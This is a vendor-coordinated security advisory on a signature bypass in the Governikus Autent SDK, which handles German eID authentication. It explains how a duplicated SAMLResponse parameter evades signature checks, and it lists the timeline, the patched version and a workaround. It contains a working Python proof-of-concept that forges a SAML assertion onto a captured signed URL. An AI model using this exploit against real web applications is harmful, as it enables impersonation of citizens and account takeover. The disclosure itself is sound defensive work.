Governikus Autent SDK versions 3.8.1 and below suffer from a signature bypass vulnerability. This vulnerability could allow an attacker to impersonate any German citizen on a vulnerable web application.
66a2046d90ce6dc8fd56bd9619e0ad54An additional blog post has been published on this topic as well:
English version: https://r.sec-consult.com/governikus
German version: https://r.sec-consult.com/gov
SEC Consult Vulnerability Lab Security Advisory < 20181121-0 >
=======================================================================
title: Signature Bypass / Authentication Bypass
product: Governikus Autent SDK
vulnerable version: <=3.8.1
fixed version: 3.8.1.2
CVE number: -
impact: critical
homepage: https://www.governikus.de/
found: 2018-06
by: W. Ettlinger (Office Vienna)
SEC Consult Vulnerability Lab
An integrated part of SEC Consult
Europe | Asia | North America
https://www.sec-consult.com
=======================================================================
Vendor description:
-------------------
German original, translated to English: "In the course of digitization, electronic
identities have become indispensable. At the same time, the requirements for
protection, handling with regard to legal security and the federation of
electronic identities are increasing. With Governikus Autent, server and client
components are available to ensure authentication through electronic identities.
Governikus Autent meets all the requirements of a modern identity management
solution.a
Source:
https://www.governikus.de/produkte-loesungen/governikus-autent-und-ausweisapp2/
Business recommendation:
------------------------
During a short crash test SEC Consult identified a critical vulnerability in the
Governikus Autent SDK nPA authentication code (German id card authentication).
This vulnerability could allow an attacker to impersonate any German citizen
on a vulnerable web application.
SEC Consult recommends to immediately apply the workaround described below or
apply the patch provided by the vendor. Moreover, SEC Consult recommends web
application providers to check historic log files for evidence of this attack.
SEC Consult recommends conducting a thorough source code security review on
the Governikus Autent components as they are integral for the security of many
web applications.
Vulnerability overview/description:
-----------------------------------
The software component tested is used by web applications to integrate nPA
authentication (authentication using the German official id document).
As the last step of an authentication transaction, the web application the user
authenticates against receives a string containing all relevant data about the
citizen (e.g. first name, last name). As this string is signed by a trusted
party (an eID server), the application can verify the authenticity of this
string.
The component in the web application that is supposed to verify this signature
can be tricked into accepting a string that has been modified. An attacker that
has acquired a single legitimately signed string can use this to authenticate
as any German citizen to any web application that trusts the eID server's
signature. An attacker could acquire such a signed string by hosting a web
application and tricking a victim to authenticate, by gaining access to a
signed string sent to a legitimate web application (man-in-the-middle attack,
getting access to the access log) or by authenticating against a web application
using his own id document.
Proof of concept:
-----------------
1. Signature Bypass
During the last step of the NPA transaction, the user is redirected to the
SAML receiver of the web application she tried to authenticate against. The SAML
response is sent as a URL parameter:
https://<host>/<receiver path>?SAMLResponse=<SAML
response>&RelayState=<...>&SigAlg=<sig alg.>&Signature=<signature>
According to the demo application, the first verification a SAML receiver is
meant to do is call the method HttpRedirectUtils.checkQueryString passing the
query string (as it is returned by request.getQueryString()). If this method
returns false, the signature could not be verified.
This method internally deconstructs the query string into individual parameters,
reconstructs the query string and then verifies the signature.
If however, the query string contains multiple parameters of the same name, only
the last occurrence of a parameter is built into the query string the signature
is verified against. Therefore, if a query string is constructed like following,
the first SAML response is ignored during signature verification:
...?SAMLResponse=<SAML response 1>&SAMLResponse=<SAML response 2>...
Afterwards, when the SAML response is processed, the application is likely to
use the method ServletRequest.getParameter() to retrieve the SAML response (the
demo application which is meant to show the integration of the library also
does this). As per the specification of this method, the application server is
supposed to return the first parameter value, if multiple parameters with the
same name were sent.
Thus, the signature is verified against the second occurrence of the
SAMLResponse parameter, while the first occurrence of the SAMLResponse parameter
is further processed by the application.
An attacker is therefore able to arbitrarily modify an authentic query string.
By obtaining such a string (e.g. by providing a web application with nPA
login and then checking the access log), he is able to authenticate as any
citizen against any vulnerable web application that also trusts the issuer of
the signature.
The following script demonstrates this issue:
----- snip -----
import webbrowser, re, urllib, zlib
from urlparse import urlparse
from base64 import b64encode
# enter the URL of the receiver
AUDIENCE = 'https://localhost:8443/AutentSAMLDemo/NewReceiverServlet'
saml = '''<?xml version="1.0" encoding="UTF-8"?>
<samlp:Response
xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:eid="http ://bsi.bund.de/eID/"
Version="2.0">
<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success" />
</samlp:Status>
<saml2:Assertion Version="2.0">
<saml2:Conditions>
<saml2:AUDIENCERestriction>
<saml2:AUDIENCE>##AUDIENCE##</saml2:AUDIENCE>
</saml2:AUDIENCERestriction>
</saml2:Conditions>
<saml2:Subject>
<saml2:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml2:SubjectConfirmationData NotOnOrAfter="2099-01-01T00:00:00.000Z"
Recipient="##AUDIENCE##" />
</saml2:SubjectConfirmation>
</saml2:Subject>
<saml2:AttributeStatement>
<saml2:Attribute Name="AcademicTitle">
<saml2:AttributeValue xsi:type="xs:string">The Bad</saml2:AttributeValue>
</saml2:Attribute>
<saml2:Attribute Name="GivenNames">
<saml2:AttributeValue xsi:type="xs:string">Evil</saml2:AttributeValue>
</saml2:Attribute>
<saml2:Attribute Name="FamilyNames">
<saml2:AttributeValue xsi:type="xs:string">Attacker</saml2:AttributeValue>
</saml2:Attribute>
<saml2:Attribute Name="DocumentValidity">
<saml2:AttributeValue xsi:type="eid:DocumentValidityResultType" Version="1">
<eid:ReferenceDate>2010-01-01</eid:ReferenceDate>
<eid:Status>valid</eid:Status>
</saml2:AttributeValue>
</saml2:Attribute>
<saml2:Attribute Name="DocumentType">
<saml2:AttributeValue xsi:type="xs:string">ID</saml2:AttributeValue>
</saml2:Attribute>
</saml2:AttributeStatement>
</saml2:Assertion>
</samlp:Response>'''
saml = saml.replace('##AUDIENCE##', AUDIENCE)
# make SAML as small as possible to fit it in a GET request
saml = re.sub('\s+', ' ', saml)
# read the captured signed URL
with open('signed_url.txt', 'rt') as f:
url = urlparse(f.read().strip())
c = zlib.compressobj(-1, zlib.DEFLATED, -9)
compressed = c.compress(saml) + c.flush()
url = url._replace(query='SAMLResponse={0}&{1}'.format(
urllib.quote(b64encode(compressed)),
url.query))
webbrowser.open(url.geturl())
----- snip -----
Vulnerable / tested versions:
-----------------------------
The version that was distributed with the demo application (3.8.1) was found
to be vulnerable which was the latest version available at the time of
discovery.
Moreover, the library version distributed/included with the (at the time of
discovery) latest release of the beA Client Security (3.20.3) is vulnerable
as well. As our identified vulnerability affects HTTP query parsing, the
beA client is most likely not vulnerable. No further analysis has been
performed though.
Vendor contact timeline:
------------------------
2018-07-05: Contacting CERT-Bund for coordination support with vendor and
German government agencies
2018-07-05: CERT-Bund: information will be forwarded to affected parties
2018-07-12: CERT-Bund: advisory has been forwarded to Governikus, is being
investigated
2018-08-03: Requesting status update
2018-08-03: CERT-Bund: Governikus has been contacted again
2018-08-10: CERT-Bund: Governikus will be able to provide a patch until
2018-08-24
2018-08-10: Internally coordinating release date, asking for details about the
patch
2018-08-10: CERT-Bund: vulnerability has been patched, customers will be
informed by Governikus
2018-08-21: CERT-Bund provides additional details about the patch
2018-08-22: SEC Consult informs CERT-Bund that the advisory will be released at
a later date
2018-09-28: Informing CERT-Bund about release date: 2018-11-21
2018-11-12: Sending blog post draft to CERT-Bund/Governikus
2018-11-21: Public release of the advisory.
Solution:
---------
Upgrade to version 3.8.1.2 of the Governikus Autent SDK.
Workaround:
-----------
In order to mitigate this issue, a web application could check if the request
parameters provided to the receiver servlet contain multiple parameters of the
same name. If this is the case, the authentication process has to be aborted.
Advisory URL:
-------------
https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Vulnerability Lab
SEC Consult
Europe | Asia | North America
About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It
ensures the continued knowledge gain of SEC Consult in the field of network
and application security to stay ahead of the attacker. The SEC Consult
Vulnerability Lab supports high-quality penetration testing and the evaluation
of new offensive and defensive technologies for our customers. Hence our
customers obtain the most current information about vulnerabilities and valid
recommendation about the risk profile of new technologies.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your application https://www.sec-consult.com/en/career/index.html
Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices https://www.sec-consult.com/en/contact/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Mail: research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult
EOF W. Ettlinger / @2018